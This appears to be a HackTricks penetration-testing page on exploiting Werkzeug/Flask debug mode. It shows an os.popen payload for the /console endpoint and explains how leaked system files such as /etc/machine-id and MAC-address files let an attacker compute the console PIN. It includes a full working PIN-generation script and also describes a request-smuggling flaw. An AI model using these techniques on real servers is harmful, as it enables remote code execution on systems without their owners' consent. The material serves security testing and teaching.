HackTricks Press
Search K

Appearance

Werkzeug / Flask Debug ​

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Instantly available setup for vulnerability assessment & penetration testing. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.

⛓️ External Link
https://pentest-tools.com/

Console RCE ​

If debug is active you could try to access to /console and gain RCE.

python
__import__('os').popen('whoami').read();

There is also several exploits on the internet like this or one in metasploit.

Pin Protected - Path Traversal ​

In some occasions the /console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.

Werkzeug Console PIN Exploit ​

Force a debug error page in the app to see this:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeug’s debug initialization file (__init__.py). The PIN generation mechanism can be studied from the Werkzeug source code repository, though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies.

To exploit the console PIN, two sets of variables, probably_public_bits and private_bits, are needed:

probably_public_bits ​

  • username: Refers to the user who initiated the Flask session.
  • modname: Typically designated as flask.app.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Generally resolves to Flask.
  • getattr(mod, '__file__', None): Represents the full path to app.py within the Flask directory (e.g., /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py is not applicable, try app.pyc.

private_bits ​

  • uuid.getnode(): Fetches the MAC address of the current machine, with str(uuid.getnode()) translating it into a decimal format.

    • To determine the server's MAC address, one must identify the active network interface used by the app (e.g., ens3). In cases of uncertainty, leak /proc/net/arp to find the device ID, then extract the MAC address from /sys/class/net/<device id>/address.

    • Conversion of a hexadecimal MAC address to decimal can be performed as shown below:

      python
      # Example MAC address: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Concatenates data from /etc/machine-id or /proc/sys/kernel/random/boot_id with the first line of /proc/self/cgroup post the last slash (/).
Code for `get_machine_id()`
python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:

Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:

Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled probably_public_bits and private_bits to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code for executing this process:

python
import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

This script produces the PIN by hashing the concatenated bits, adding specific salts (cookiesalt and pinsalt), and formatting the output. It's important to note that the actual values for probably_public_bits and private_bits need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.

✅

If you are on an old version of Werkzeug, try changing the hashing algorithm to md5 instead of sha1.

Werkzeug Unicode chars ​

As observed in this issue, Werkzeug doesn't close a request with Unicode characters in headers. And as explained in this writeup, this might cause a CL.0 Request Smuggling vulnerability.

This is because, In Werkzeug it's possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive, the body of the request won’t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.

Automated Exploitation ​

⛓️ External Link
https://github.com/Ruulian/wconsole_extractor

References ​

Instantly available setup for vulnerability assessment & penetration testing. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.

⛓️ External Link
https://pentest-tools.com/
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: